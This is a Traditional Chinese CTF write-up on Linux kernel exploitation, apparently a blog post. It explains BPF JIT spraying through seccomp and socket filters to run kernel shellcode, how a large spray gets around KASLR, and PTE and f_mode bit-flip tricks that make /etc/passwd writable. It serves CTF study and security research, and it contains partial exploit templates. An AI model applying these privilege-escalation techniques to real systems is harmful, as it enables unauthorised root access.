這篇文章會繼續分析 CTF 中有哪些有趣的 Linux kernel exploit 技巧!

3. Control RIP

3.1 SECCON CTF 2021 - kone_gadget

參考: https://ptr-yudai.hatenablog.com/entry/2021/12/19/232158#Pwnable-365pts-kone_gadget

該題目在啟用 smap、smep 與關閉 KASLR 的形況下,提供 user space syscall 控 RIP 的 primitive,但是在 jmp 前所有 register 都會被清空。

SYSCALL_DEFINE1(seccon, unsigned long, rip)
{
    asm volatile("xor %%edx, %%edx;"
               "xor %%ebx, %%ebx;"
               "xor %%ecx, %%ecx;"
               "xor %%edi, %%edi;"
               "xor %%esi, %%esi;"
               "xor %%r8d, %%r8d;"
               "xor %%r9d, %%r9d;"
               "xor %%r10d, %%r10d;"
               "xor %%r11d, %%r11d;"
               "xor %%r12d, %%r12d;"
               "xor %%r13d, %%r13d;"
               "xor %%r14d, %%r14d;"
               "xor %%r15d, %%r15d;"
               "xor %%ebp, %%ebp;"
               "xor %%esp, %%esp;"
               "jmp %0;"
               "ud2;"
               : : "rax"(rip));
    return 0;
}

Linux kernel 為了增加執行速度,會用 Just-In-Time (JIT) 的方式把 BPF bytecode 轉換成 native assembly code 來執行。除了直接呼叫 bpf syscall 建立一個 BPF program 外,kernel 中許多 feature 底層其實都有用到 BPF,像是用來檢查 syscall 合法性的 seccomp rule

// kernel/seccomp.c
static struct seccomp_filter *seccomp_prepare_filter(/* ... */)
{
    // [...]
    ret = bpf_prog_create_from_user(&sfilter->prog, fprog,
                    seccomp_check_filter, save_orig);
    // [...]
}

int bpf_prog_create_from_user(/* ... */)
{
    // [...]
    fp = bpf_prepare_filter(fp, trans);
    // [...]
}

或者用來處理 packet 的 socket filter

// net/core/filter.c
int sk_attach_filter(/* ... */)
{
    struct bpf_prog *prog = __get_filter(fprog, sk);
    // [...]
}

static struct bpf_prog *__get_filter(/* ... */)
{
    // [...]
    return bpf_prepare_filter(prog, NULL);
}

然而,這兩個機制並不是直接使用 BPF program,而是用功能相較侷限的 filter program。Filter program 能使用的 bytecode 比較少,都是比較基本的操作,如 load const 或是簡單的加減法運算。當 process 請求 attach filter program 到 process 或是 socket 時,kernel 會呼叫 bpf_prepare_filter() 來處理。該 function 會先檢查 filter program 的合法性,像是看是否有不在白名單內的 operation,或是否有除 0 的操作 [1] 等等。當檢查完後,bpf_migrate_filter() [2] 會將 filter program 的 instructions 轉換成 BPF bytecode 的格式並做 JIT。

static struct bpf_prog *bpf_prepare_filter(/* ... */)
{
    // [...]
    err = bpf_check_classic(fp->insns, fp->len); // [1]
    
    // [...]
    fp = bpf_migrate_filter(fp); // [2]
    
    // [...]
}

如果有稍微玩過 v8 exploit 應該對 JIT 不陌生,有一招利用方式就是透過 const value 在 JIT code 中構造 shellcode,並使用 related jmp instruction 把每個 shellcode 片段串起來,若要增加穩定度還可以先 spray NOPs。之後只要想辦法 overwrite JIT function 的 entry 到 JIT code 的中間,就可以在呼叫 JS Function 時執行到由 const 所構造的 shellcode,細節可以參考 mem2019 的 Dice CTF Memory Hole: Breaking V8 Heap Sandbox

Linux kernel 的 BPF JIT code 也可以透過類似的方式來構造 shellcode,同時這也是作者的預期解法。Filter program 中 load const value 是透過 bytecode BPF_LD + BPF_K 來完成,而 JIT 完後的 x64 native instruction 則是 5 bytes 的 mov eax, XXXXX。如果將 4 bytes 的 const value 控成 2 bytes 的 shellcode 加上 2 bytes 的 jmp instruction,則每個 shellcode 片段可以執行 2 bytes。如果改用 mov bl, XX (0xb3) instruction 來取代 jmp,則可以優化到 3 bytes shellcode。

構造好的 filter program 會長得像:

struct sock_filter insns[] = {
    // spraying NOPs
    {.code = BPF_LD + BPF_K, .k = 0xb3909090},
    {.code = BPF_LD + BPF_K, .k = 0xb3909090},
    // [...]

    // kernel shellcode
    {.code = BPF_LD + BPF_K, .k = (0xb3 << 24) + SHELLCODE_1 /* 3 bytes shellcode */},
    {.code = BPF_LD + BPF_K, .k = (0xb3 << 24) + SHELLCODE_2 /* 3 bytes shellcode */},
    // [...]

    // return allow
    {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}
};

struct sock_fprog sock_fprog = {
    .len = sizeof(insns) / sizeof(insns[0]),
    .filter = insns,
};

接下來可以像作者一樣用 prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER) [1] attach program 到 process,或是 Balsn 的 writeup 使用 setsockopt(SO_ATTACH_FILTER) [2] 來 attach program 到 socket fd。

prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sock_fprog); // [1]
setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &sock_fprog, sizeof(sock_fprog)); // [2]

從 kernel function bpf_jit_alloc_exec() 可以知道 BPF 的 JIT code 會分配在 module mapping space,

void *__weak bpf_jit_alloc_exec(unsigned long size)
{
    return module_alloc(size);
}

而參考 Linux kernel x64 memory layout documentation 可以知道 module mapping 的範圍。

# [...]
ffffffffa0000000 |-1536    MB | fffffffffeffffff | 1520 MB | module mapping space
# [...]

因為題目沒有 KASLR,JIT code 每次都會落在 0xffffffffc0000000 的 page 上,因此可以精準的控制 RIP 到 JIT code 的中間來提權。此方式的成功機率取決於是否能執行到原本 JIT 出來的 instruction 中間,但是在每次 allocate JIT code memory 時開頭都會隨機加上一小段 offset [3],所以還是有一定的機率會失敗。

struct bpf_binary_header *bpf_jit_binary_pack_alloc(/* ... */)
{
    // [...]
    start = get_random_u32_below(hole) & ~(alignment - 1); // [3]
    // [...]
}

假設 0xffffffffc0000690 為 load const instruction 的開頭,我們需要控制 RIP 到 5 bytes 的 instruction mov eax, XXX 的中間,也就是 offset 是 1、2、3 或 4 時才會成功,因此成功機率大概只有 80% 左右。

pwndbg> x/i 0xffffffffc0000690 + 0
   0xffffffffc0000690:  mov    eax,0xb3909090

pwndbg> x/i 0xffffffffc0000690 + 1
   0xffffffffc0000691:  nop

pwndbg> x/i 0xffffffffc0000690 + 2
   0xffffffffc0000692:  nop

pwndbg> x/i 0xffffffffc0000690 + 3
   0xffffffffc0000693:  nop

pwndbg> x/i 0xffffffffc0000690 + 4
   0xffffffffc0000694:  mov    bl,0xb8

那在 KASLR 啟用的情況下還能使用這個技巧嗎?重新分析一下 module_alloc() 的實作,該 memory region 的分配實際上是從 MODULES_VADDR (0xffffffffc0000000) 加上 get_module_load_offset() 開始 [4]:

void *module_alloc(unsigned long size)
{
    // [...]
    p = __vmalloc_node_range(size, MODULE_ALIGN,
                 MODULES_VADDR + get_module_load_offset(), // [4]
                 MODULES_END, gfp_mask, PAGE_KERNEL,
                 VM_FLUSH_RESET_PERMS | VM_DEFER_KMEMLEAK,
                 NUMA_NO_NODE, __builtin_return_address(0));
    // [...]
}

get_module_load_offset() 在沒有 KASLR 的情況下不會初始化,因此值為 0 [5],但如果啟用 KASLR,會隨機挑 1 到 1024 個 PAGE 作為 module mapping base address 的 offset [6]。

static unsigned long int get_module_load_offset(void)
{
    if (kaslr_enabled()) { // [5]
        // [...]
        if (module_load_offset == 0)
            module_load_offset =
                get_random_u32_inclusive(1, 1024) * PAGE_SIZE; // [6]
        // [...]
    }
    return module_load_offset;
}

也就是說 module base 最大的 offset 會是 4 MB (1024 * 0x1000)。因此理論上,如果能 spraying 超過 4 MB 的 JIT code,將 RIP 控在 overlap 的 region 就可以確保執行到有 JIT code 的 address。

實務上,kernelCTF 有許多 exploit 都使用該技巧,像是 CVE-2023-3776CVE-2023-4207CVE-2023-4206CVE-2023-3609CVE-2023-4208 等等。

Fun fact: 這些 kernelCTF slot 的 owner 都是 STARLabs 的 Billy,同時他也是當初想到這個利用技巧的人 😆

4. Others

雖然有些題目不是直接提供任意位置控一個 bit 或 byte 的 primitive,但是仍然在利用條件很侷限的情況下,用夠通用的做法來 exploit,一樣非常有趣。這些題目的分析都會紀錄在這個 section。

4.1 Heap-relative 1-byte OOBW - AIS3 EOF CTF Final 2022: oneshot

題目允許使用者申請一塊指定大小的 kmalloc() chunk,並且透過 race condition 可以做到 heap object 1 byte out-of-bounds write。此題的 exploit 技巧參考 STAR Labs 在 HITCON CMT 2021 發表的 talk The Great Escape - A Case Study of VM Escape and EoP Vulnerabilities,先開啟 O_RDONLY 的高權限檔案如 “/etc/passwd”,之後 mmap 該檔案並 spray 只有一個 PTE 的 page map,再透過題目給的 primitive 分配一塊大小為 0x1000 的 chunk,並 OOB write 將 index 0 的 PTE 的 R/W bit 寫成 1,這樣原本唯讀的 “/etc/passwd” 就變得可寫。

4.2 Heap-relative 1-bit Flip - zer0pts CTF 2023: flipper

參考: https://gist.github.com/leesh3288/5306faa8d0e2deeda81608361eb0b2f2

提供 heap object 相對 offset 的 flip bit primitive,一樣可以 flip PTE 的 R/W bit 來解。作者的預期解是透過 spray struct cred 與 io_uring 的功能來解,而其他的解法包含:

  1. Flip bit in file->f_mode to FMODE_WRITE and write RO file - 需要注意 vfs_write() 會檢查 file->f_mode & FMODE_CAN_WRITE,因此要用 aio_write()mmap() 來寫
  2. Flip a pointer or refcount for UAF - 走常見的 kernel exploit 套路
  3. Flip a bit in length field - 走常見的 kernel exploit 套路